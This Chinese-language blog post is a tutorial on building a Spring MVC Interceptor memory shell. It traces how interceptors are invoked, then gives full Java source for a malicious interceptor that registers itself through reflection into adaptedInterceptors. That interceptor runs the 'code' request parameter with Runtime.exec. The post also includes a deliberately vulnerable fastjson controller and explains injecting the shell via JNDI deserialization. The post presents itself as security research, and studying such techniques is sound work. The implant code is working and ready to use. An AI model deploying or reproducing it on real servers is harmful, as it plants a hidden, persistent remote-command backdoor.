針對Spring MVC的Interceptor記憶體馬
目錄
- 1 基礎攔截器和調用流程的探索
- 1.1 基礎攔截器
- 1.2 探索攔截器的調用鍊
- 1.3 探索攔截器是如何被添加的
- 2 實踐
學習、探索和實作過程很多都基于大佬的文章https://landgrey.me/blog/19/ https://landgrey.me/blog/12/
前不久實作cotroller記憶體馬能添加冰蠍代碼後,又想到spring mvc的攔截器應該也可以用于注入記憶體馬,目前的關鍵點在于找到攔截器是如何被觸發以及如何動态添加攔截器
首先來寫個正常的攔截器TestInterceptor類,并添加xml配置
然後啟動程式,在通路/home/index,并添加code參數彈個電腦
斷點打在TestInterceptor類中,調試看看調用鍊
preHandle:31, TestInterceptor (bitterz.interceptors)
applyPreHandle:134, HandlerExecutionChain (org.springframework.web.servlet)
doDispatch:956, DispatcherServlet (org.springframework.web.servlet)
doService:895, DispatcherServlet (org.springframework.web.servlet)
processRequest:967, FrameworkServlet (org.springframework.web.servlet)
doGet:858, FrameworkServlet (org.springframework.web.servlet)
service:621, HttpServlet (javax.servlet.http)
service:843, FrameworkServlet (org.springframework.web.servlet)
service:728, HttpServlet (javax.servlet.http)
internalDoFilter:305, ApplicationFilterChain (org.apache.catalina.core)
doFilter:210, ApplicationFilterChain (org.apache.catalina.core)
invoke:222, StandardWrapperValve (org.apache.catalina.core)
invoke:123, StandardContextValve (org.apache.catalina.core)
invoke:472, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:171, StandardHostValve (org.apache.catalina.core)
invoke:99, ErrorReportValve (org.apache.catalina.valves)
invoke:947, AccessLogValve (org.apache.catalina.valves)
invoke:118, StandardEngineValve (org.apache.catalina.core)
service:408, CoyoteAdapter (org.apache.catalina.connector)
process:1009, AbstractHttp11Processor (org.apache.coyote.http11)
process:589, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
run:312, JIoEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
關鍵點在doDispatch方法,先通過getHandler方法擷取了mappedHandler對象
在後方調用mappedHandler的applyPreHandler方法
這個方法中就是依次調用每個interceptor執行個體的preHandle方法,實際上就進入了前面寫好的TestInterceptor類的preHandle方法中。
跟蹤mappedHandler的擷取過程,先是調用了org.springframework.web.servlet.DispatcherServlet中的getHandler方法
跟進getHandler方法,這裡會周遊this.handlerMappings,擷取HandlerMapping的執行個體,再調用getHandler方法
這裡斷點跟進getHandler函數處,會發現實際上調用了org.springframework.web.servlet.handler.AbstractHandlerMapping類中的getHandler方法
再跟進getHandlerExecutionChain方法,發現其中會周遊adaptedInterceptors這數組,并判斷擷取的interceptor執行個體是不是MappedInterceptor類的執行個體對象,而MappedInterceptor類就是對攔截器HandlerInterceptor接口的實作,是以前面定義的TestInterceptor自然會被加入chain中并傳回
至此,攔截器的加載和調用流程就清楚了, 動态添加攔截器的話,隻需要在org.springframework.web.servlet.handler.AbstractHandlerMapping類的執行個體對象的adaptedInterceptors數組中添加惡意interceptor執行個體對象即可!
那麼關鍵就在于找到org.springframework.web.servlet.handler.AbstractHandlerMapping類的執行個體對象,CTRL+ALT+B找到所有AbstractHandlerMapping的子類,并在beanFactory的beanDefinitionNames中找到它的執行個體
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
是以可以通過context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")擷取該對象,再反射擷取其中的adaptedInterceptors屬性,并添加惡意interceptor執行個體對象即可完成記憶體馬的注入
首先用springmvc 寫了一個包含fastjson的反序列化漏洞的controller
@RequestMapping(value = "/postjson", method = RequestMethod.GET)
public String postJson(HttpServletRequest request){
return "postjson";
}
@RequestMapping(value = "/readjson", method = RequestMethod.POST)
public String readJson(HttpServletRequest request){
String jsonStr = request.getParameter("jsonstr");
System.out.println(jsonStr); // 在控制台輸出jsonStr
Object obj = JSON.parseObject(jsonStr);
System.out.println(obj); // 等同于資料操作
return "readjson"; // 傳回一個頁面給使用者
}
通路/postjson,并送出payload,而payload會發送到/readjson處,被fastjson反序列化,觸發JNDI注入造成記憶體馬的注入。首先開啟LDAP和python服務,編譯惡意Interceptor類
惡意Interceptor類源代碼如下
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor extends HandlerInterceptorAdapter {
public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {
// 擷取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 從context中擷取AbstractHandlerMapping的執行個體對象
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
// 反射擷取adaptedInterceptors屬性
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
// 避免重複添加
for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
System.out.println("已經添加過TestInterceptor執行個體了");
return;
}
}
TestInterceptor aaa = new TestInterceptor("aaa"); // 避免進入執行個體建立的死循環
adaptedInterceptors.add(aaa); // 添加全局interceptor
}
private TestInterceptor(String aaa){}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
// 不幹擾正常業務邏輯
if (code != null) {
java.lang.Runtime.getRuntime().exec(code);
return true;
}
else {
return true;
}}}
這裡送出兩次payload是為了确認:不重複添加interceptor的代碼生效了
可見Interceptor記憶體馬已經注入了,現在彈個電腦驗證一下
作者:bitterz
位址:https://www.cnblogs.com/bitterz/
本文版權歸作者和部落格園所有,歡迎轉載,轉載請标明出處。
如果您覺得本篇博文對您有所收獲,請點選右下角的 [推薦],謝謝!